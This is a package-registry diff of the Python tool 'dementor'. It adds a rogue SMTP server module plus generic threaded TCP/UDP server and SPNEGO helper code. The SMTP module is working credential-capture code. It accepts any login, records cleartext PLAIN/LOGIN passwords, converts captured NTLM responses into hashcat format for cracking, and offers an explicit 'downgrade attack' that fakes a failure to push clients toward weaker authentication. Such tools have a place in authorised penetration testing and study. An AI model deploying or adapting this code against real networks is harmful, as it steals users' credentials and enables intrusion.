dementor 1.0.0.dev0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,383 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
20
+ #
21
+ # Reference:
22
+ # - https://winprotocoldocs-bhdugrdyduf5h2e4.b02.azurefd.net/MS-SMTPNTLM/%5bMS-SMTPNTLM%5d.pdf
23
+ import warnings
24
+ import base64
25
+ import binascii
26
+ import threading
27
+ import ssl
28
+
29
+ from typing import Any, List, NamedTuple
30
+
31
+ # SMTP server
32
+ from aiosmtpd.smtp import (
33
+ MISSING,
34
+ SMTP as SMTPServerBase,
35
+ AuthResult,
36
+ Session,
37
+ Envelope,
38
+ LoginPassword,
39
+ _Missing,
40
+ )
41
+ from aiosmtpd.controller import Controller
42
+
43
+ from impacket.ntlm import (
44
+ NTLMAuthChallengeResponse,
45
+ NTLMAuthNegotiate,
46
+ )
47
+
48
+ from dementor.config import TomlConfig, SessionConfig, get_value, Attribute as A
49
+ from dementor.logger import ProtocolLogger, dm_logger
50
+ from dementor.protocols.ntlm import (
51
+ NTLM_AUTH_CreateChallenge,
52
+ NTLM_AUTH_decode_string,
53
+ NTLM_AUTH_format_host,
54
+ NTLM_AUTH_to_hashcat_format,
55
+ )
56
+ from dementor.database import _CLEARTEXT
57
+
58
+ # removes explicit warning messages from aiosmtpd
59
+ warnings.simplefilter("ignore")
60
+
61
+ # 2.2.1.4 SMTP_AUTH_Fail_Response Message
62
+ # SMTP_AUTH_Fail_Response is defined as follows. This message, identified by the 535 status code, is
63
+ # defined in [RFC2554] section 4, and indicates that the authentication has terminated unsuccessfully
64
+ # because the user name or password is incorrect.
65
+ SMTP_AUTH_Fail_Response_Message = "535 5.7.3 Authentication unsuccessful"
66
+
67
+ # 2.2.1.2 SMTP_NTLM_Supported_Response Message
68
+ # The SMTP_NTLM_Supported_Response message indicates that the server supports NTLM
69
+ # authentication for SMTP.
70
+ SMTP_NTLM_Supported_Response_Message = "ntlm supported"
71
+
72
+ SMTP_AUTH_Result = AuthResult | None | _Missing | bool
73
+
74
+
75
+ class SMTPServerConfig(TomlConfig):
76
+ _section_ = "SMTP"
77
+ _fields_ = [
78
+ A("smtp_port", "Port"),
79
+ A("smtp_tls", "TLS", False),
80
+ A("smtp_fqdn", "FQDN", "DEMENTOR", section_local=False),
81
+ A("smtp_ident", "Ident", "Dementor 1.0dev0"),
82
+ A("smtp_downgrade", "Downgrade", False),
83
+ A("smtp_auth_mechanisms", "AuthMechanisms", list),
84
+ A("smtp_require_auth", "RequireAUTH", False),
85
+ A("smtp_require_starttls", "RequireSTARTTLS", False),
86
+ A("smtp_tls_cert", "Cert", False, section_local=False),
87
+ A("smtp_tls_key", "Key", False, section_local=False),
88
+ ]
89
+
90
+
91
+ def apply_config(session) -> None:
92
+ # setup SMTP server options
93
+ if not session.smtp_enabled:
94
+ return
95
+
96
+ ports = set()
97
+ for server in get_value("SMTP", "Server", []):
98
+ smtp_config = SMTPServerConfig(server)
99
+
100
+ if smtp_config.smtp_port is None:
101
+ dm_logger.warning("Missing port for SMTP server definition!")
102
+ continue
103
+
104
+ if smtp_config.smtp_port in ports:
105
+ dm_logger.warning(
106
+ f"Two SMTP servers cannot share the same port! ({smtp_config.smtp_port})"
107
+ )
108
+ continue
109
+
110
+ ports.add(smtp_config.smtp_port)
111
+ session.smtp_servers.append(smtp_config)
112
+
113
+
114
+ def create_server_threads(session: SessionConfig) -> list:
115
+ if not session.smtp_enabled:
116
+ return []
117
+
118
+ return [SMTPServerThread(session)]
119
+
120
+
121
+ # Authentication class used in the custom authenticator after successful
122
+ # NTLM authentication
123
+ class NTLMAuth(NamedTuple):
124
+ domain_name: str
125
+ user_name: str
126
+ hash_version: str
127
+ hash_string: str
128
+
129
+ def get_user_string(self) -> str:
130
+ return "/".join((self.domain_name, self.user_name))
131
+
132
+
133
+ class SMTPDefaultAuthenticator:
134
+ def __init__(self, logger, config: SessionConfig) -> None:
135
+ self.logger = logger
136
+ self.config = config
137
+
138
+ def __call__(
139
+ self,
140
+ server: SMTPServerBase,
141
+ session: Session,
142
+ envelope: Envelope,
143
+ mechanism: str,
144
+ auth_data: LoginPassword | NTLMAuth,
145
+ ) -> AuthResult:
146
+ match auth_data:
147
+ case NTLMAuth():
148
+ # successful NTLM authentication
149
+ self.config.db.add_auth(
150
+ client=session.peer,
151
+ credtype=auth_data.hash_version,
152
+ password=auth_data.hash_string,
153
+ logger=self.logger,
154
+ username=auth_data.user_name,
155
+ domain=auth_data.domain_name,
156
+ )
157
+
158
+ case LoginPassword():
159
+ # plain or LOGIN authentication
160
+ username = auth_data.login.decode(errors="replace")
161
+ password = auth_data.password.decode(errors="replace")
162
+ self.config.db.add_auth(
163
+ client=session.peer,
164
+ credtype=_CLEARTEXT,
165
+ password=password,
166
+ logger=self.logger,
167
+ username=username,
168
+ )
169
+
170
+ # always return true
171
+ return AuthResult(success=True)
172
+
173
+
174
+ class SMTPServerHandler:
175
+ def __init__(
176
+ self, config: SessionConfig, server_config: SMTPServerConfig, logger
177
+ ) -> None:
178
+ self.config = config
179
+ self.server_config = server_config
180
+ self.logger = logger
181
+
182
+ # add explicit support for lowercase authentication
183
+ async def auth_login(
184
+ self, server: SMTPServerBase, args: List[str]
185
+ ) -> SMTP_AUTH_Result:
186
+ return await server.auth_LOGIN(server, args)
187
+
188
+ async def auth_plain(
189
+ self, server: SMTPServerBase, args: List[str]
190
+ ) -> SMTP_AUTH_Result:
191
+ return await server.auth_PLAIN(server, args)
192
+
193
+ async def auth_ntlm(
194
+ self, server: SMTPServerBase, args: List[str]
195
+ ) -> SMTP_AUTH_Result:
196
+ return await self.auth_NTLM(server, args)
197
+
198
+ async def auth_NTLM(
199
+ self, server: SMTPServerBase, args: List[bytes]
200
+ ) -> SMTP_AUTH_Result:
201
+ login = None
202
+ match len(args):
203
+ case 1:
204
+ # Client sends "AUTH NTLM"
205
+ login = await self.chapture_ntlm_auth(server)
206
+
207
+ case 2:
208
+ # The client sends an SMTP_AUTH_NTLM_BLOB_Command message containing a base64-encoded
209
+ # NTLM NEGOTIATE_MESSAGE.
210
+ try:
211
+ decoded_blob = base64.b64decode(args[1], validate=True)
212
+ except binascii.Error:
213
+ self.logger.debug(
214
+ f"Could not parse input NTLM negotiate: {args[1]}",
215
+ host=server.session.peer[0],
216
+ )
217
+ await server.push("501 5.7.0 Auth aborted")
218
+ return MISSING
219
+ # perform authentication with negotiation message
220
+ login = await self.chapture_ntlm_auth(server, blob=decoded_blob)
221
+
222
+ if login is MISSING:
223
+ return AuthResult(success=False, handled=True)
224
+ # TODO: error population
225
+ return login
226
+
227
+ async def chapture_ntlm_auth(self, server: SMTPServerBase, blob=None) -> Any:
228
+ if blob is None:
229
+ # 4. The server sends the SMTP_NTLM_Supported_Response message, indicating that it can perform
230
+ # NTLM authentication.
231
+ blob = server.challenge_auth(SMTP_NTLM_Supported_Response_Message)
232
+ if blob is MISSING:
233
+ # authentication failed
234
+ await server.push("501 5.7.0 Auth aborted")
235
+ return MISSING
236
+
237
+ negotiate_message = NTLMAuthNegotiate()
238
+ negotiate_message.fromString(blob)
239
+ self.logger.debug(
240
+ "Starting NTLM-auth: %s",
241
+ NTLM_AUTH_format_host(negotiate_message),
242
+ )
243
+
244
+ if self.server_config.smtp_fqdn.count(".") > 0:
245
+ name, domain = self.server_config.smtp_fqdn.split(".", 1)
246
+ else:
247
+ name, domain = self.server_config.smtp_fqdn, ""
248
+
249
+ # now we can build the challenge using the answer flags
250
+ ntlm_challenge = NTLM_AUTH_CreateChallenge(
251
+ negotiate_message,
252
+ name,
253
+ domain,
254
+ self.config.ntlm_challange,
255
+ disable_ess=not self.config.ntlm_ess,
256
+ )
257
+
258
+ # 6. The server sends an SMTP_AUTH_NTLM_BLOB_Response message containing a base64-encoded
259
+ # NTLM CHALLENGE_MESSAGE.
260
+ blob = await server.challenge_auth(ntlm_challenge.getData())
261
+
262
+ # 7. The client sends an SMTP_AUTH_NTLM_BLOB_Command message containing a base64-encoded
263
+ # NTLM AUTHENTICATE_MESSAGE.
264
+ auth_message = NTLMAuthChallengeResponse()
265
+ auth_message.fromString(blob)
266
+ domain_name = NTLM_AUTH_decode_string(
267
+ auth_message["domain_name"], auth_message["flags"]
268
+ )
269
+ user_name = NTLM_AUTH_decode_string(
270
+ auth_message["user_name"], auth_message["flags"]
271
+ )
272
+ self.logger.debug(
273
+ f"Captured NTLM AUTH response for {domain_name}/{user_name}:",
274
+ # host=server.session.peer[0],
275
+ # port=server.session.peer[1],
276
+ )
277
+
278
+ hashversion, hashvalue = NTLM_AUTH_to_hashcat_format(
279
+ self.config.ntlm_challange,
280
+ auth_message["user_name"],
281
+ auth_message["domain_name"],
282
+ auth_message["lanman"],
283
+ auth_message["ntlm"],
284
+ auth_message["flags"],
285
+ )
286
+ auth = NTLMAuth(
287
+ domain_name,
288
+ user_name,
289
+ hash_version=hashversion,
290
+ hash_string=hashvalue,
291
+ )
292
+ if self.server_config.smtp_downgrade:
293
+ # Perform a simple donẃngrade attack by sending failed authentication
294
+ # - Some clients may choose to use fall back to other login mechanisms
295
+ # provided by the server
296
+ if server._authenticator:
297
+ server._authenticator(
298
+ server,
299
+ server.session,
300
+ server.envelope,
301
+ "NTLM",
302
+ auth,
303
+ )
304
+ self.logger.display(
305
+ f"Performing downgrade attack for target {server.session.peer[0]}",
306
+ host=server.session.peer[0],
307
+ )
308
+ await server.push(SMTP_AUTH_Fail_Response_Message)
309
+ return None # unsuccessful, but handled
310
+
311
+ # by default, accept this client
312
+ return server._authenticate(
313
+ "NTLM",
314
+ auth_data=auth,
315
+ )
316
+
317
+
318
+ class SMTPServerThread(threading.Thread):
319
+ def __init__(self, config: SessionConfig):
320
+ super().__init__()
321
+ self.config = config
322
+
323
+ def run(self) -> None:
324
+ self.config.loop.create_task(self.arun())
325
+
326
+ def create_logger(self):
327
+ return ProtocolLogger(
328
+ extra={
329
+ "protocol": "SMTP",
330
+ "protocol_color": "light_goldenrod2",
331
+ }
332
+ )
333
+
334
+ async def start_server(self, controller, config: SessionConfig, smtp_config):
335
+ controller.port = smtp_config.smtp_port
336
+
337
+ # NOTE: hostname on the controller points to the local address that will be
338
+ # bound and the SMTP hostname is just a string that will be sent to the client,
339
+ controller.hostname = self.config.ipv4
340
+
341
+ # alter the server hostname
342
+ controller.SMTP_kwargs["hostname"] = smtp_config.smtp_fqdn.split(".", 1)[0]
343
+
344
+ label = "SMTP" if not smtp_config.smtp_tls else "SMTPS"
345
+ try:
346
+ dm_logger.debug(
347
+ f"Starting {label} server on {self.config.ipv4}:{smtp_config.smtp_port}"
348
+ )
349
+ controller.start()
350
+ except OSError as e:
351
+ dm_logger.error(
352
+ f"Failed to start {label} server on {self.config.ipv4}:{smtp_config.smtp_port} -> {e.strerror}",
353
+ )
354
+
355
+ async def arun(self) -> None:
356
+ # setup server
357
+ for server in self.config.smtp_servers:
358
+ logger = self.create_logger()
359
+ logger.extra["port"] = server.smtp_port
360
+
361
+ mechanisms = {"PLAIN", "NTLM", "LOGIN"} - set(server.smtp_auth_mechanisms)
362
+ mechanisms.update([x.lower() for x in mechanisms])
363
+ tls_context = None
364
+ if server.smtp_tls:
365
+ # TODO: add error handler
366
+ tls_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
367
+ tls_context.load_cert_chain(server.smtp_tls_cert, server.smtp_tls_key)
368
+
369
+ controller = Controller(
370
+ SMTPServerHandler(self.config, server, logger),
371
+ auth_require_tls=False,
372
+ authenticator=SMTPDefaultAuthenticator(logger, self.config),
373
+ ident=server.smtp_ident,
374
+ auth_exclude_mechanism=mechanisms,
375
+ auth_required=server.smtp_require_auth,
376
+ tls_context=tls_context,
377
+ require_starttls=server.smtp_require_starttls,
378
+ )
379
+ await self.start_server(
380
+ controller,
381
+ self.config,
382
+ server,
383
+ )
@@ -0,0 +1,35 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
20
+ from impacket.spnego import SPNEGO_NegTokenResp, TypesMech
21
+
22
+
23
+ def negTokenInit_step(
24
+ negResult: int,
25
+ respToken: bytes | None = None,
26
+ supportedMech: str | None = None,
27
+ ) -> SPNEGO_NegTokenResp:
28
+ response = SPNEGO_NegTokenResp()
29
+ response["NegState"] = negResult.to_bytes(1)
30
+ if supportedMech:
31
+ response["SupportedMech"] = TypesMech[supportedMech]
32
+ if respToken:
33
+ response["ResponseToken"] = respToken
34
+
35
+ return response
dementor/servers.py ADDED
@@ -0,0 +1,185 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
20
+ import socket
21
+ import socketserver
22
+ import threading
23
+ import abc
24
+
25
+ from typing import Tuple
26
+ from socketserver import BaseRequestHandler
27
+
28
+ from dementor import database
29
+ from dementor.logger import ProtocolLoggerMixin, dm_logger
30
+ from dementor.config import SessionConfig
31
+
32
+
33
+ class ServerThread(threading.Thread):
34
+ def __init__(self, config: SessionConfig, server_class: type, *args, **kwargs):
35
+ self.config = config
36
+ self.server_class = server_class
37
+ self.args = args
38
+ self.kwargs = kwargs
39
+ super().__init__()
40
+
41
+ @property
42
+ def service_name(self) -> str:
43
+ return getattr(
44
+ self.server_class,
45
+ "service_name",
46
+ self.server_class.__name__,
47
+ )
48
+
49
+ def run(self) -> None:
50
+ try:
51
+ self.server = self.server_class(self.config, *self.args, **self.kwargs)
52
+ address, port, *_ = self.server.server_address
53
+ dm_logger.debug(f"Starting {self.service_name} Service on {address}:{port}")
54
+ self.server.serve_forever()
55
+
56
+ except OSError as e:
57
+ if e.errno == 13:
58
+ dm_logger.error(
59
+ f"Failed to start server for {self.service_name}: Permission Denied!"
60
+ )
61
+
62
+ except Exception as e:
63
+ print(e)
64
+
65
+
66
+ class BaseProtoHandler(BaseRequestHandler, ProtocolLoggerMixin):
67
+ def __init__(self, config: SessionConfig, request, client_address, server) -> None:
68
+ self.client_address = client_address
69
+ self.server = server
70
+ self.config = config
71
+ ProtocolLoggerMixin.__init__(self)
72
+ super().__init__(request, client_address, server)
73
+
74
+ @abc.abstractmethod
75
+ def handle_data(self, data, transport) -> None:
76
+ pass
77
+
78
+ def handle(self) -> None:
79
+ try:
80
+ if isinstance(self.request, tuple):
81
+ data, transport = self.request
82
+ else:
83
+ transport = self.request
84
+ data = None
85
+
86
+ self.handle_data(data, transport)
87
+ except BrokenPipeError:
88
+ pass # connection closed, maybe log that
89
+ except Exception as e:
90
+ self.logger.exception(e)
91
+
92
+ def recv(self, size: int) -> bytes:
93
+ if isinstance(self.request, tuple):
94
+ # UDP can't receive a single packet
95
+ # REVISIT: should we return this here?
96
+ data, transport = self.request
97
+ self.request = (b"", transport)
98
+ else:
99
+ data = self.request.recv(size)
100
+
101
+ return data
102
+
103
+ def send(self, data: bytes) -> None:
104
+ if isinstance(self.request, tuple):
105
+ _, transport = self.request
106
+ transport.sendto(data, self.client_address)
107
+ else:
108
+ transport = self.request
109
+ transport.send(data)
110
+
111
+ @property
112
+ def client_host(self) -> str:
113
+ return database.normalize_client_address(self.client_address[0])
114
+
115
+ @property
116
+ def client_port(self) -> int:
117
+ return self.client_address[1]
118
+
119
+
120
+ class ThreadingUDPServer(socketserver.ThreadingMixIn, socketserver.UDPServer):
121
+ default_port: int
122
+ default_handler_class: type
123
+ ipv4_only: bool
124
+
125
+ allow_reuse_address = True
126
+
127
+ def __init__(
128
+ self,
129
+ config: SessionConfig,
130
+ server_address: Tuple[str, int] | None = None,
131
+ RequestHandlerClass: type | None = None,
132
+ ) -> None:
133
+ self.config = config
134
+ self.ipv4_only = getattr(config, "ipv4_only", False)
135
+ if config.ipv6 and not self.ipv4_only:
136
+ self.address_family = socket.AF_INET6
137
+ super().__init__(
138
+ server_address or ("", self.default_port),
139
+ RequestHandlerClass or self.default_handler_class,
140
+ )
141
+
142
+ def server_bind(self) -> None:
143
+ interface = self.config.interface.encode("ascii") + b"\x00"
144
+ self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, interface)
145
+ if self.config.ipv6 and not self.ipv4_only:
146
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
147
+
148
+ socketserver.UDPServer.server_bind(self)
149
+
150
+ def finish_request(self, request, client_address) -> None:
151
+ self.RequestHandlerClass(self.config, request, client_address, self)
152
+
153
+
154
+ class ThreadingTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
155
+ default_port: int
156
+ default_handler_class: type
157
+ ipv4_only: bool
158
+
159
+ allow_reuse_address = True
160
+
161
+ def __init__(
162
+ self,
163
+ config: SessionConfig,
164
+ server_address: Tuple[str, int] | None = None,
165
+ RequestHandlerClass: type | None = None,
166
+ ) -> None:
167
+ self.config = config
168
+ self.ipv4_only = getattr(config, "ipv4_only", False)
169
+ if config.ipv6 and not self.ipv4_only:
170
+ self.address_family = socket.AF_INET6
171
+ super().__init__(
172
+ server_address or ("", self.default_port),
173
+ RequestHandlerClass or self.default_handler_class,
174
+ )
175
+
176
+ def server_bind(self) -> None:
177
+ interface = self.config.interface.encode("ascii") + b"\x00"
178
+ self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, interface)
179
+ if self.config.ipv6 and not self.ipv4_only:
180
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
181
+
182
+ socketserver.TCPServer.server_bind(self)
183
+
184
+ def finish_request(self, request, client_address) -> None:
185
+ self.RequestHandlerClass(self.config, request, client_address, self)